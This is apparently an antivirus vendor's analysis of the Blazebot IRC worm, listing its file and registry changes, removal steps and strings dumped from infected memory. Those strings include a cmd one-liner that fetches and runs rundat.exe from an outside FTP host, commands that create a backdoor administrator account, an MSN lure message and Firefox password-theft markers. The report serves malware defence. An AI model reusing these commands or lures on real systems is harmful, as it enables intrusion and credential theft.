Blazebot_aaf0af3a97 – Adaware

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.
IRCBot	A bot can communicate with command and control servers via IRC channel.
MSNWorm	A worm can spread its copies through the MSN Messanger.
Trojan-Proxy	This program can launch a proxy server (SOCKS4) on a designated TCP port.

Process activity

The Trojan creates the following process(es):

rep.exe:768
rep.exe:444
%original file name%.exe:1748

The Trojan injects its code into the following process(es):

csrss.exe:624

File activity

The process rep.exe:768 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\P99D78.DZ2 (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\autB2.tmp (1137 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\P99D78.DZ2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\autB2.tmp (0 bytes)

The process rep.exe:444 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\csrss.exe (5441 bytes)

The process %original file name%.exe:1748 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\L75C\rep.exe (10537 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\L75C\__tmp_rar_sfx_access_check_1067640 (0 bytes)

Registry activity

The process rep.exe:768 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "30 1D 24 79 5A 25 CC 1B DA 43 2D A9 81 C7 BE 44"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process rep.exe:444 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "40 53 31 8C 74 2F 35 1C B7 F7 8B 33 0F E8 7F FD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe"

The process %original file name%.exe:1748 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 42 18 09 C7 5B EB 16 6D 6E 14 65 B9 95 EA 2D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"LangID" = "09 04"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\L75C]
"rep.exe" = "rep"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-8964"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@shdoclc.dll,-880"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"Procmon.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9227"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"cmd.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"sandbox_svc.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9217"
"SHELL32.dll,-9216"

Dropped PE files

MD5	File path
f5fe1c9fac220b9203e029c55a9b4093	c:\Documents and Settings\"%CurrentUserName%"\L75C\rep.exe
f5fe1c9fac220b9203e029c55a9b4093	c:\WINDOWS\csrss.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.A worm can spread its copies through the MSN Messanger.

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
rep.exe:768
rep.exe:444
%original file name%.exe:1748
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\P99D78.DZ2 (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\autB2.tmp (1137 bytes)
%WinDir%\csrss.exe (5441 bytes)
%Documents and Settings%\%current user%\L75C\rep.exe (10537 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe"
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Language Neutral

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	74526	74752	4.54396	a8692f5ba740240ef0f9a827376f76f9
.rdata	81920	7445	7680	3.46159	d4f36accffde0bf520f52486679ccf0d
.data	90112	96036	512	2.46008	b6c7edb5b7fec47a37a622cc5d71f3f4
.CRT	188416	32	512	0.273198	439411041ee0b8261668525c5c132cd9
.rsrc	192512	16660	16896	3.52343	a2121b436cc4d10fcdfe9bc7fe4dbc2f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

csrss.exe_624:

.text

`.rdata

@.data

.rsrc

t1SSSSh

SSSh8

PSShB

msn.msg

msn.stop

login

firefox

join

USERENV.dll

VkKeyScanA

keybd_event

USER32.dll

ole32.dll

OLEAUT32.dll

TransactNamedPipe

GetWindowsDirectoryA

KERNEL32.dll

MSVCRT.dll

_acmdln

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

WS2_32.dll

ntpass

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error: <%d>

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: <%d>.

Failed to start thread %s, error: <%d>.

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

Hey got new sex Pics from me %d. realy Sexy!

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

PStore.dll Failed.

%s Failed to parse command.

%s Failed to start scan thread, error: <%d>.

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s No subnet class specified, try "-a" or "-b" or "-c"

%s Could not parse external IP.

%s Trying to get external IP.

%s Failed to start scan, no IP specified.

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

ftp://%s:%s@%s:%s/%s path: %s

sftp

net localgroup Administrateurs ASP.NET /add

net localgroup Administradors ASP.NET /add

net localgroup Administratoren ASP.NET /add

net localgroup Administrator ASP.NET /add

net localgroup Administrators ASP.NET /add

net user ASP.NET hardcore /add

SYN: Failed to start thread,error: (%d).

SYN: --> (%s:%s) for (%s secs).

FUCKING: --> (%s:%s) for (%s secs).

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Starting firefox pstore

FIREFOX Threads

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error: <%d>

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

Windows for Workgroups 3.1a

WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195

Windows 2000 5.0

Windows 2000 2195

PK11_CheckUserPassword

PK11_GetInternalKeySlot

softokn3.dll

sqlite3.dll

nssutil3.dll

plds4.dll

nspr4.dll

mozcrt19.dll

nss3.dll

plc4.dll

%s %s:%s

SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command

\profiles.ini

Application Data\Mozilla\Firefox

signons3.txt

signons2.txt

signons1.txt

pipe\epmapper

\\%s\

Windows 5.1

Windows 5.0

Windows 2000 LAN Manager*

NT LAN Manager *.*

Windows Server 2003 *.*

%s File transfer complete to IP: %s.

%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: <%d>.

Ping Timeout? (%d-%d)%d/%d

Login list completed!

<%i> %s!%s@%s

Logins:

USER TbT * 0 :%s

NICK %s

{%s-%s-%s-%s-%s}

{iNF-%s-%s-%s-%s-%s}

nigzss.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

pstorec.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK {%s-%s-%s-%s-%s}

https:/

http:/

csrss.exe

*!*@fbi.edu

||FTP||

jayne.p0rn-lover.us

rundat.exe

vids.p0rn-lover.us

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

%s Done @ (%iKB Sec)

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

http://www.whatismyip.com

http://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

%WinDir%\csrss.exe

"%local server IP%"

192.168.1.123

mas.lavasoft.com

||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 3 seconds for 0 minutes using 50 threads.

||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.

csrss.exe_624_rwx_00400000_0005A000:

.text

`.rdata

@.data

.rsrc

t1SSSSh

SSSh8

PSShB

msn.msg

msn.stop

login

firefox

join

USERENV.dll

VkKeyScanA

keybd_event

USER32.dll

ole32.dll

OLEAUT32.dll

TransactNamedPipe

GetWindowsDirectoryA

KERNEL32.dll

MSVCRT.dll

_acmdln

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

WS2_32.dll

ntpass

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error: <%d>

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: <%d>.

Failed to start thread %s, error: <%d>.

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

Hey got new sex Pics from me %d. realy Sexy!

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

PStore.dll Failed.

%s Failed to parse command.

%s Failed to start scan thread, error: <%d>.

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s No subnet class specified, try "-a" or "-b" or "-c"

%s Could not parse external IP.

%s Trying to get external IP.

%s Failed to start scan, no IP specified.

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

ftp://%s:%s@%s:%s/%s path: %s

sftp

net localgroup Administrateurs ASP.NET /add

net localgroup Administradors ASP.NET /add

net localgroup Administratoren ASP.NET /add

net localgroup Administrator ASP.NET /add

net localgroup Administrators ASP.NET /add

net user ASP.NET hardcore /add

SYN: Failed to start thread,error: (%d).

SYN: --> (%s:%s) for (%s secs).

FUCKING: --> (%s:%s) for (%s secs).

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Starting firefox pstore

FIREFOX Threads

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error: <%d>

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

Windows for Workgroups 3.1a

WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195

Windows 2000 5.0

Windows 2000 2195

PK11_CheckUserPassword

PK11_GetInternalKeySlot

softokn3.dll

sqlite3.dll

nssutil3.dll

plds4.dll

nspr4.dll

mozcrt19.dll

nss3.dll

plc4.dll

%s %s:%s

SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command

\profiles.ini

Application Data\Mozilla\Firefox

signons3.txt

signons2.txt

signons1.txt

pipe\epmapper

\\%s\

Windows 5.1

Windows 5.0

Windows 2000 LAN Manager*

NT LAN Manager *.*

Windows Server 2003 *.*

%s File transfer complete to IP: %s.

%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: <%d>.

Ping Timeout? (%d-%d)%d/%d

Login list completed!

<%i> %s!%s@%s

Logins:

USER TbT * 0 :%s

NICK %s

{%s-%s-%s-%s-%s}

{iNF-%s-%s-%s-%s-%s}

nigzss.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

pstorec.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK {%s-%s-%s-%s-%s}

https:/

http:/

csrss.exe

*!*@fbi.edu

||FTP||

jayne.p0rn-lover.us

rundat.exe

vids.p0rn-lover.us

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

%s Done @ (%iKB Sec)

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

http://www.whatismyip.com

http://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

%WinDir%\csrss.exe

"%local server IP%"

192.168.1.123

mas.lavasoft.com

||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 3 seconds for 0 minutes using 50 threads.

||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps